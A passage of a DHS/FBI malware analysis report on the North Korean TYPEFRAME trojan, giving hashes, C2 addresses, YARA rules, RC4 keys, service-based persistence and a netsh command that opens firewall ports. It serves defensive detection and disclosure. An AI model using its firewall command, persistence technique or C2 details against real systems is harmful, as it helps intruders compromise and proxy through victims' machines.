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TLP:WHITE

Malware Analysis Report (AR18-165A)

MAR-10135536-12 – North Korean Trojan: TYPEFRAME

Original release date: June 14, 2018

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. The DHS does not endorse any commercial product or service, referenced in this bulletin or otherwise.

This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant is known as TYPEFRAME. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https://www.us-cert.gov/hiddencobra.

DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users and administrators should flag activity associated with the malware, report the activity to the DHS National Cybersecurity and Communications Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation.

This malware report contains analysis of 11 malware samples consisting of 32-bit and 64-bit Windows executable files and a malicious Microsoft Word document that contains Visual Basic for Applications (VBA) macros. These files have the capability to download and install malware, install proxy and Remote Access Trojans (RATs), connect to command and control (C2) servers to receive additional instructions, and modify the victim's firewall to allow incoming connections.

For a downloadable copy of IOCs, see:

Submitted Files (11)

201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33 (1C53E7269FE9D84C6DF0A25BA59B82...)

20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 (EF9DB20AB0EEBF0B7C55AF4EC0B7BC...)

3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 (java.exe)

40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116 (CA67F84D5A4AC1459934128442C53B...)

4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd (3229A6CEA658B1B3CA5CA9AD7B40D8...)

546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1 (6AB301FC3296E1CEB140BF5D294894...)

675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1 (10B28DA8EEFAC62CE282154F273B3E...)

8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 (F5A4235EF02F34D547F71AA5434D9B...)

c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777 (BFB41BC0C3856AA0A81A5256B7B8DA...)

d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92 (BF474B8ACD55380B1169BB949D60E9...)

e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7 (60294C426865B38FDE7C5031AFC4E4...)

Additional Files (3)

089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359 (midimapper.rs)

a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 (laxhost.dll)

e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef (dwnhost.dll)

IPs (7)

111.207.78.204

181.119.19.56

184.107.209.2

59.90.93.97

80.91.118.45

81.0.213.173

98.101.211.162

Findings

8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8

Tags

remote-access-trojantrojan

Details
NameF5A4235EF02F34D547F71AA5434D9BB4
Size490705 bytes
TypePE32 executable (GUI) Intel 80386, for MS Windows
MD5f5a4235ef02f34d547f71aa5434d9bb4
SHA1338699d56f17ab91fa2da1cb446593c013ae1a01
SHA2568c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8
SHA51227c610096248492fce0f8f478c62255cd1abc4ceb4a1ae310ca311a6d38ee3b93ce75ba45089204d0eb2036393bdcb98b3e77396d5ae6b9eecacc3a019ed225e
ssdeep12288:2okf/Epk6/lctEJxrXtl3h1ihDnjvAHR7ie5XtO/DRUKwS4Z/B5:2o6/EpH/iwNXtlhSnjg+e5A/DaZp5
Entropy7.788643
Antivirus
AviraTR/Crypt.ZPACK.Gen
SymantecHeur.AdvML.C
Yara Rules
hidden_cobra_consolidated.yararule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: $s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 } $s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } $s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }
hidden_cobra_consolidated.yararule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = {B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }
ssdeep Matches

No matches found.

PE Metadata
Compile Date2017-06-05 21:21:28-04:00
Import Hashedb148321293bdc8b7ba8fbe0b1c6ed9
PE Sections
MD5NameRaw SizeEntropy
dde6c6e739f41680377511c709f7209aheader40960.590336
db44e1900789a7fd43b05d3871c9ab03.text532486.538652
91d9797bd52d49fb73009fc3e0cdd7c5.rdata122883.476192
ef4ab26cc2c30397b12c53c759fcbef2.data163842.132158
Packers/Compilers/Cryptors
Microsoft Visual C++ v6.0
Relationships
8c3e0204f5...Containsa71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6
Description

This file is a 32-bit Windows portable executable file designed to install a Remote Access Trojan (RAT) as a service on the victim system. The malware accepts the following argument during execution "68S3mI2AMcmOz3BgjnuYpLlZ4fZog7sd”.

The RAT’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--


Decrypted strings of interest are displayed below:

--Begin strings of interest--
host.dll
"Task Notification Service"
"Monitors And Notifies Task Scheduling And Interaction"
netsvcs
--End strings of interest--


When executed, the RAT checks if the module "C:\Windows\system32\laxhost.dll" is installed on the compromised system. If it is not installed, it will load an embedded RC4 encrypted archive file from the start of the offset "0x15000”.

The malware decrypts the archive using the same RC4 key. The decrypted archive contains a malicious DLL module, which is decompressed and installed into "C:\Windows\system32\laxhost.dll”. The first three characters of the module name are randomly generated.

The malware contains an RC4 encrypted configuration file data (192 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--


The malware installs a malicious DLL module as a serviceDLL in the "netsvcs" service group in order to execute "C:\Windows\system32\laxhost.dll" using the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe." The service name and the display name are randomly generated.

The installed service information is displayed below:

--Begin service information--
ServiceName = "Irmon"
DisplayName = "Irmon"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k netsvcs"
--End service information--

a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6

Tags

backdoorremote-access-trojantrojan

Details
Namelaxhost.dll
Size843776 bytes
TypePE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5aa7924157b77dd1ff749d474f3062f90
SHA14f02a6bf2b24c371e9f589cff8e32b4d94cf4f29
SHA256a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6
SHA5125150d8b063297d0da04288b4e4e2ad3d54b7546d909a71557789529d73703673098c37970280cd62c45306458cfcda701c1a7cee31ee7fb2192e627e11f0a3bd
ssdeep24576:r/pmC31xkE8sOvtQ6Wtuc0WhgpaM2yYq:bpj0E8sOvtQ6Wtuc0WhgpaM2yYq
Entropy6.681288
Antivirus
Microsoft Security EssentialsBackdoor:Win32/SilverMob.A!dha
Yara Rules
hidden_cobra_consolidated.yararule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = {B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }
ssdeep Matches

No matches found.

PE Metadata
Compile Date2017-06-09 13:59:30-04:00
Import Hash180f8d53e7b967e9af9444547c05f192
Company NameMicrosoft Corporation
File DescriptionXps Object Model in memory creation and deserialization
Internal Namexpsservices.dll
Legal CopyrightMicrosoft Corporation. All rights reserved.
Original Filenamexpsservices.dll
Product NameMicrosoft Windows Operating System
Product Version6.1.7601.17514
PE Sections
MD5NameRaw SizeEntropy
e1b6f98aadc18cf1b2e1796eb3d8b783header40960.800174
5d97a9d06913043a085d8071f7a5ab7c.text5406726.661444
bab7eb304870fe36e8c98f5085b8603c.rdata1638406.184319
33e00b6b91f87e1e948a8bc44803837f.data819204.853104
4093ef4294e5d39c92ba4d89a6c92a15.rsrc81923.983157
39ddff289842b4fafc796c9795b870c8.reloc450565.723684
Packers/Compilers/Cryptors
Microsoft Visual C++ 6.0
Microsoft Visual C++ 6.0 DLL (Debug)
Relationships
a71017302e...Connected_To59.90.93.97
a71017302e...Contained_Within8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8
Description

laxhost.dll (original name: KDCOLCWP.DLL) is a 32-bit Windows dynamic-link library (DLL) file and is a RAT module that was installed as a service by the file 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8.

laxhost.dll’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal-encoded C2 IP address and port number:

--Begin IP and port # list -
BB 01 3B 5A 5D 61 ==> 59.90.93.97:443
--End IP and port # list --

The malware attempts to connect to its C2 server 59.90.93.97 using port 443 and wait for further instructions.

The malware is designed to accept instructions from the remote server to perform the following functions:

--Begin functions performed by the malware--
Get Disk Free Space
Search for files
Execute process in elevated mode
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
Delete Service and uninstall malware components using a batch script
--End functions performed by the malware--

675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1

Tags

proxytrojan

Details
Name10B28DA8EEFAC62CE282154F273B3E34
Size466267 bytes
TypePE32 executable (GUI) Intel 80386, for MS Windows
MD510b28da8eefac62ce282154f273b3e34
SHA125991d00eb1b1204b0066d5aeb79ac691047d7f0
SHA256675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1
SHA5127955c46e3d5ed3454340821caecd44d6bc1b918ef7bdcd6f0f8d67676cbf0fde52a578583a0388c4d838652d3d1da4615ced6ae2c59b562f030f752cbc7bfb99
ssdeep6144:qoXLxi/EpH/ae6jEazjsHZ3OJJMUc6ngmOsH95rjw26XwXFLP7E1tC1KRtyn5o1n:qoQ/EpH/mEaiZiJy6ngm95t6qLPJp2d
Entropy7.761748
Antivirus
ESETa variant of Win32/Agent.YDV trojan
Microsoft Security EssentialsTrojan:Win32/Autophyte.B!dha
SymantecHeur.AdvML.C
Yara Rules
hidden_cobra_consolidated.yararule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: $s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 } $s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } $s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }
hidden_cobra_consolidated.yararule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = {B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }
ssdeep Matches

No matches found.

PE Metadata
Compile Date2016-07-24 19:38:33-04:00
Import Hash225e9f7be86d6676c98a852492458049
PE Sections
MD5NameRaw SizeEntropy
58c7eb8637b7fbde7bb31985b77ca1afheader40960.591843
65d9f034d6153048c3e51bf5e07d6486.text532486.446416
eb9c5e8a429ac587cd35f0dcec939295.rdata122883.434883
d80b556aaa361958d9ecd816ac2a36c7.data163842.106829
Packers/Compilers/Cryptors
Microsoft Visual C++ v6.0
Relationships
675a35e04b...Containse69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7
Description

This file is a 32-bit Windows executable designed to install a proxy module as a service on the victim’s system. This file accepts the following arguments during execution: "68S3mI2AMcmOz3BgjnuYpLlZ4fZog7sd."

The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

Decrypted strings of interest are displayed below:

--Begin strings of interest--
"wmplayer.xml"
"printcache.tlb"
"Print Device Cache"
"Manage Print Device Cache And Printing"
printcache
--End strings of interest--

When executed, it will load an embedded RC4 encrypted archive file from the start of the offset "0x15000."

The malware decrypts the archive using the same RC4 key. The decrypted archive contains a proxy module, which is decompressed and installed from the existing file name "wmplayer.xml" to "C:\Windows\system32\printcache.tlb."

The malware installs the module as a serviceDLL in the "printcache" service group in order to execute "C:\Windows\system32\printcache.tlb" using the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe."

--Begin service--
ServiceName = "printcache"
DisplayName = "Print Device Cache"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k printcache"
--End service--

The malware contains an RC4 encrypted configuration file data, which contains port numbers (8 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7

Tags

proxytrojan

Details
Name60294C426865B38FDE7C5031AFC4E453
Size778240 bytes
TypePE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD560294c426865b38fde7c5031afc4e453
SHA1f8736e3f89f30f082cfd68a73763afcfb0e1c9c3
SHA256e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7
SHA512fe96fa2f127a3a71a9edc89268567188f8c585ea8356feb9a2c46224dc7022b3d751848424df745b517e7a1e123c566b6feb094653281026ffd2e9ce81d5a7a1
ssdeep12288:8iwDMd29KJgSWD8QfEbsjlqxlsiAen1XQ1pV+jPAt:8WghEbvhAeC1pIDAt
Entropy6.714021
Antivirus
AhnlabTrojan/Win32.Agent
BitDefenderGen:Variant.Symmi.14589
EmsisoftGen:Variant.Symmi.14589 (B)
F-secureGen:Variant.Symmi.14589
Microsoft Security EssentialsTrojanProxy:Win32/SilverMob.A!dha
Yara Rules
hidden_cobra_consolidated.yararule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = {B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }
ssdeep Matches

No matches found.

PE Metadata
Compile Date2017-03-02 14:01:47-05:00
Import Hash09e63e3d425d6b543de4003f71c2b66d
PE Sections
MD5NameRaw SizeEntropy
1eda6d8dec57fac45afb42a6f27080a0header40960.767469
4109d939d8532ac1bd9f2cfa81a33905.text4751366.632858
3b24a4913977b402a4dcce1694306cfb.rdata1474565.923542
f597eb4917ef44a2f9a080fc59f528f3.data778244.968551
77c814f5856057e7a7f6237bbba51a76.rsrc327687.100017
438ec3064d499d63eb03035aa1f7a142.reloc409605.759460
Packers/Compilers/Cryptors
Microsoft Visual C++ 6.0
Microsoft Visual C++ 6.0 DLL (Debug)
Relationships
e69d6c2d3e...Contained_Within675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1
Description

This file, printcache.tlb (original name: PDll.dll), is a proxy module installed as a service by the file 675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1. This file is designed to open the Windows Firewall on the victim’s machine to allow incoming connections and force the compromised system to function as a proxy server.

The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End Rc4 key--

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal encoded port numbers:

--Begin port # list --
BB 01 ==> 1BB ==> 443
7F 00 ==> 7F ==> 127
90 1F ==> 1F90 == 8080
--End port # list --

The malware utilized the following command to open the Windows Firewall on the victim’s machine to allow incoming connections.

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=443 action"
--End firewall modification--

The malware attempts to open ports 443, 127, and 8080 and wait for a connection. The malware contains public SSL certificates in its resource named "101” and is designed to generate crafted TLS sessions (fake TLS communication mechanism).
 

089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359

Tags

proxytrojan

Details
Namemidimapper.rs
Size761856 bytes
TypePE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD500b0cfb59b088b247c97c8fed383c115
SHA10cdee734d3a17de0e81b9b2b0b36804d516c3212
SHA256089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359
SHA5129c9f65e277816a42574ddc28724e1afde8c3bffd0e8bf2e0414204d7b07384848718ada43e59c206b6d13dca33c28c4ae3a82ec12b21207efa5cbb8abfacf7d6
ssdeep12288:5XYoUXvfAkdRwowG358mOlVvRaXKgCJpV4DDxazfAF:+zwowHJ46jJp+DmfAF
Entropy6.693566
Antivirus
AhnlabTrojan/Win32.Agent
BitDefenderGen:Variant.Symmi.14589
ESETWin32/NukeSped.AQ trojan
EmsisoftGen:Variant.Symmi.14589 (B)
F-secureGen:Variant.Symmi.14589
IkarusTrojan.Win32.Agentb
K7Trojan ( 0051e0501 )
Microsoft Security EssentialsTrojanProxy:Win32/SilverMob.A!dha
NANOAVTrojan.Win32.NukeSped.eylorq
Quick HealGenvariant.Symmi
VirusBlokAdaTrojan.Agentb
Zillya!Trojan.Agentb.Win32.18439
Yara Rules
hidden_cobra_consolidated.yararule import_obfuscation_2 { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "bfb41bc0c3856aa0a81a5256b7b8da51" strings: $s0 = {A6 D6 02 EB 4E B2 41 EB C3 EF 1F} $s1 = {B6 DF 01 FD 48 B5 } $s2 = {B6 D5 0E F3 4E B5 } $s3 = {B7 DF 0E EE } $s4 = {B6 DF 03 FC } $s5 = {A7 D3 03 FC } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them }
ssdeep Matches
100dfb41457088fa2003a085c325bcb63666e1e66fa36bdc8975995bfbeac39500d
PE Metadata
Compile Date2016-07-25 03:12:34-04:00
Import Hash100f0ee6d217c6b9e15be71a6c42a2d3
PE Sections
MD5NameRaw SizeEntropy
93649845b04705777d78e05982b93e5fheader40960.765196
93649845b04705777d78e05982b93e5fheader40960.765196
aca858c8ea569b991797da02f8613716.text4587526.614177
aca858c8ea569b991797da02f8613716.text4587526.614177
11b9d8a29ef67ebb2c19f753f1c7ada4.rdata1474565.918054
11b9d8a29ef67ebb2c19f753f1c7ada4.rdata1474565.918054
72b7a8f5d846964649b682d6ef074cc0.data778244.964840
72b7a8f5d846964649b682d6ef074cc0.data778244.964840
d73a8feca0f13f34575c84df77fbed0e.rsrc327687.100191
d73a8feca0f13f34575c84df77fbed0e.rsrc327687.100191
61c29b19fe37db83e42ef9ddf46eb40f.reloc409605.689934
61c29b19fe37db83e42ef9ddf46eb40f.reloc409605.689934
Packers/Compilers/Cryptors
Microsoft Visual C++ 6.0
Microsoft Visual C++ 6.0 DLL (Debug)
Description

midimapper.rs (original name: MDll.dll) is a proxy module installed as a service. This file is designed to open the Windows Firewall on the victim’s machine to allow incoming connections and force the compromised system to function as a proxy server.

The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End Rc4 key--

When executed, the malware loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal encoded port numbers:

-- Begin port # list --
FB 20 ==> 20FB ==> 8443
-- End port # list --

The malware utilized the following command to open the Windows Firewall on the victim’s machine to allow incoming connections.

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=8443 action=allow enable=yes"
--End firewall modification--

The malware attempts to open port 8443 and wait for connection. The malware contains public SSL certificates in its resource named "101”. It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92

Tags

proxytrojan

Details
NameBF474B8ACD55380B1169BB949D60E9E4
Size466241 bytes
TypePE32 executable (GUI) Intel 80386, for MS Windows
MD5bf474b8acd55380b1169bb949d60e9e4
SHA1c60c18fc0226a53be15637ee3ef0b73b0dabd854
SHA256d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92
SHA51246995cf3516c160d2f4fa5957c8c67df75f2768b24562b22de46a5d4ef7ba17fecaef2ad900bc6925e0c4284802864361423653154ad0622af18d049fb0419be
ssdeep12288:G+3/oi/EpRsV97/8Olq3p8YNk5oYEeLxCStEowZVKmZag:Gmoi/EpRsV9S3prgomLE9oVmQg
Entropy7.760001
Antivirus
Microsoft Security EssentialsTrojan:Win32/Autophyte.B!dha
SymantecHeur.AdvML.C
Yara Rules
hidden_cobra_consolidated.yararule enc_PK_header { meta: author = "NCCIC trusted 3rd party" incident = "10135536" date = "2018-04-12" category = "hidden_cobra" family = "TYPEFRAME" hash0 = "3229a6cea658b1b3ca5ca9ad7b40d8d4" strings: $s0 = { 5f a8 80 c5 a0 87 c7 f0 9e e6 } $s1 = { 95 f1 6e 9c 3f c1 2c 88 a0 5a } $s2 = { ae 1d af 74 c0 f5 e1 02 50 10 } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }
ssdeep Matches

No matches found.

PE Metadata
Compile Date2017-06-08 07:12:45-04:00
Import Hash225e9f7be86d6676c98a852492458049
PE Sections
MD5NameRaw SizeEntropy
21257d58787390491b672d426714b015header40960.592724
dff4417e6006f193afa34a31581d52dd.text532486.423430
5fbeefe580cf5cb5ee032f29c78b5f7b.rdata122883.435650
c5776014ec07771c8d8093a7af1868c7.data163842.126011
Packers/Compilers/Cryptors
Microsoft Visual C++ v6.0
Relationships
d1d490866d...Contains40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116
Description

This 32-bit Windows executable is a RAT, designed to install a proxy module as a service on the victim’s system.

The malware's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
75 0E 83 C0 02 83 C1 02 84 D2 75 E4 33 C0 EB 05
--End Rc4 key--

Decrypted strings of interest are displayed below:

--Begin strings of interest--
"wmplayer.xml"
"printcache.tlb"
"printcache"
"Print Device Cache"
"Manage Print Device Cache And Printing"
--End strings of interest--

When executed, the malware will load an embedded RC4 encrypted archive file from the start of the offset "0x15000”.

The malware decrypts the archive using the same Rc4 key. The decrypted archive contains a proxy module, which is decompressed and installed from the existing file name "wmplayer.xml" to "C:\Windows\system32\printcache.tlb".

The malware installs the module as a serviceDLL in the "printcache" service group in order to execute "C:\Windows\system32\printcache.tlb" by the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe”.

--Begin service--
ServiceName = "printcache"
DisplayName = "Print Device Cache"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k printcache"
--End service--

The malware contains an RC4 encrypted configuration file data, which contains port numbers (8 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Signature"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116

Tags

proxytrojan

Details
Name1printcache.tlb
NameCA67F84D5A4AC1459934128442C53B03
Size778240 bytes
TypePE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5ca67f84d5a4ac1459934128442c53b03
SHA1f4eb6a50c60320edafb3e48c612c6a55560d0684
SHA25640ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116
SHA5124695cf69e2ae52fc94eab31cbc3bb846022a3e1516d9bc293118f674ea1eb86468cff0a4c0dee8dff8a2d545df153116e8d86669513426e1b32a205041339e45
ssdeep12288:drrF4D0d2QKPIyWE8QPnWnGHiS2VcL2ZotSNfpV532/dlZ:x6IGnWntQ2ZvfpvmdlZ
Entropy6.710797
Antivirus
AhnlabTrojan/Win32.Agent
BitDefenderGen:Variant.Symmi.14589
EmsisoftGen:Variant.Symmi.14589 (B)
F-secureGen:Variant.Symmi.14589
Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date2017-06-08 07:12:35-04:00
Import Hash09e63e3d425d6b543de4003f71c2b66d
PE Sections
MD5NameRaw SizeEntropy
5b1f93f0412e9f1c7a7ad42d729b292bheader40960.769911
e6ea312f762f4df521b229a77f186664.text4751366.629464
b6fa7b267ea19010d44f056ec3cca39d.rdata1474565.920344
1076ec3948d21da8d6c5036548880c63.data778244.972282
77c814f5856057e7a7f6237bbba51a76.rsrc327687.100017
3184d0afb653bf0723cadccc14d92071.reloc409605.752155
Packers/Compilers/Cryptors
Microsoft Visual C++ 6.0
Microsoft Visual C++ 6.0 DLL (Debug)
Relationships
40ef57ca2a...Contained_Withind1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92
Description

1printcache.tlb (original name: PDll.dll) is a proxy module installed as a service by the file d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92. This file is designed to open the Windows Firewall on the victim’s machine to allow incoming connections and force the compromised system to function as a proxy server.

The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
75 0E 83 C0 02 83 C1 02 84 D2 75 E4 33 C0 EB 05
--End Rc4 key--

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
